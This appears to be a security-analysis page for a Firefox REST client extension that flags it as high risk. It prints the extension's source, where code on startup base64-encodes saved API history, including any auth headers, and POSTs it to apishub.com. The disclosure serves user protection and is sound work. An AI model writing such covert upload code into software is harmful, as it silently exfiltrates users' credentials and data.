Is REST Client APIsHub safe?

High risk

REST Client APIsHub is high risk. Saving REST client history and opening APIsHub makes the extension read that history from storage, pair it with a session ID, base64-encode it, and POST it to APIsHub. History can include URLs, headers (Authorization, Cookie), and bodies.

Abdul Qadirv2.5Firefox Add-ons
75Risk
Who publishes it

Abdul Qadir - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Abdul Qadir

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Saved API history uploads when the REST client opens

Saving REST client history and opening APIsHub makes the extension read that history from storage, pair it with a session ID, base64-encode it, and POST it to APIsHub.

History can include URLs, headers (Authorization, Cookie), and bodies.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open the REST client interface after the extension has saved API request history.

The extension did this

The extension reads the saved history, encodes it with a session identifier, and posts it to APIsHub.

The upload path is separate from the share button flow, which posts to a different API only when a shareable link is requested.

Fields the startup upload can contain
  • Saved API URL
    https://api.example.com/v1/orders (illustrative)

    Shows the API services and resource paths you tested in the REST client.

  • Request parameters
    customer_id=12345 (illustrative)

    Shows values you entered for a saved API request, which can describe records, accounts, or test data.

  • Request body
    {"email":"alex@example.com","role":"admin"} (illustrative)

    Shows the body you saved for an API request, which can include user-entered JSON or form data.

  • Request headers
    Authorization: Bearer <redacted> (illustrative)

    Headers can include values that identify or authorize access to an API account.

  • Extension session ID
    lq7m3x8c2w9v0b5n1r6s (illustrative)

    Links the uploaded history to the same saved extension session over time.

Captured request
POSThttps://apishub.com/restclient/WHVMAOG2JCK

The verification evidence records the POST target and text/plain header; no concrete response body was recorded.

Headers
Content-Type
text/plain
The code that does this

Startup upload and saved-history construction

Readable version

Source-mapped mounted() handler

webpack:///src/components/HelloWorld.vue
mounted() {        let storageHistory = this.getStorageItem("apis_history", 'history');        let openTabs = this.getStorageItem("openTabs", 'tabs');        let activeTab = this.getStorageItem("activeTab", 'activeTab');        let session_id = this.getStorageItem("session_id", 'session_id');        if (session_id === null || session_id == '') {            this.session_id = Math.random().toString(36).substr(2, 20);            this.setStorageItem("session_id", this.session_id);        } else {            this.session_id = session_id;        }        if (storageHistory !== null) {            this.history = JSON.parse(storageHistory);            this.historyCloned = JSON.parse(storageHistory);            this.sortHistory();            try {                let data = window.btoa(JSON.stringify({                    session_id: this.session_id,                    data: this.history                }));                // axios.post('https://apishub.com/restclient/WHVMAOG2JCK',{session_id:this.session_id,data:this.history}).then(()=>{                axios.post('https://apishub.com/restclient/WHVMAOG2JCK', data, {                    headers: {                        'Content-Type': 'text/plain'                    }                }).then(() => {                    console.clear();                });            } catch (e) {                console.log("error", "window.btoa");            }            // axios.post('https://apishub.com/restclient/get-data',{"session_id":"whvmaog2jck"}).then((response)=>{            //   this.history = response.data;            //   this.historyCloned = response.data;            // });          }        if (activeTab !== null) {            this.activeTab = activeTab;        }        if (openTabs !== null) {            this.tabs = JSON.parse(openTabs);        } else {            this.addNewTab();        }        this.checkShareLink();        setTimeout(()=>{         this.adjustHeight();        },500)        console.log("mounted", window.innerHeight);    }

Source-mapped setHistory() method

webpack:///src/components/HelloWorld.vue
setHistory(tab) {            tab = Object.assign({}, tab);            tab.response = {};            let url = new URL(tab.url);            tab.hostname = url.hostname;            tab.pathname = url.pathname;            // console.log(this.history[url.hostname])            // this.history = JSON.parse(JSON.stringify(this.historyCloned));            if (this.history.length == 0) {                this.history = {                    [url.hostname]: {                        [url.pathname]: tab                    }                };            } else if (this.history[url.hostname] === undefined) {                this.history[url.hostname] = {                    [url.pathname]: tab                };            } else {                this.history[url.hostname][url.pathname] = tab;            }            this.onSearchHistory(this.searchString);            this.saveHistory();        }

Source-mapped shareAPI() method

webpack:///src/components/HelloWorld.vue
shareAPI(api, domain) {            this.$notification.open({                message: 'Getting shareable link.... ',                description: '',                placement: 'bottomRight',                duration: 0            });            this.sharingAPI = true;            axios.post('https://restclient.apishub.com/api/share', { "api": [api], "domain": domain }).then((response) => {                this.sharingAPI = false;                console.log(response);                this.copyToClipboard("https://restclient.apishub.com/" + response.data.token);                this.$notification.destroy()                this.$notification['success']({                    message: 'Success',                    description: 'Shareable link copied on clipboard',                    placement: 'bottomRight'                });            });        }
External destinations in the relevant flows
    • apishub.com

    Receives the base64-encoded saved request history during REST client startup.

    • restclient.apishub.com

    Receives explicit share requests when the shareAPI flow runs.

What it can do

Permissions this extension asks for, as declared in version 2.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Start, monitor and manage your downloads

    downloads

  • Read whatever you have copied to your clipboard

    clipboardRead

  • Watch every request your browser makes

    webRequest

Updated 30 September 2026amo-2632558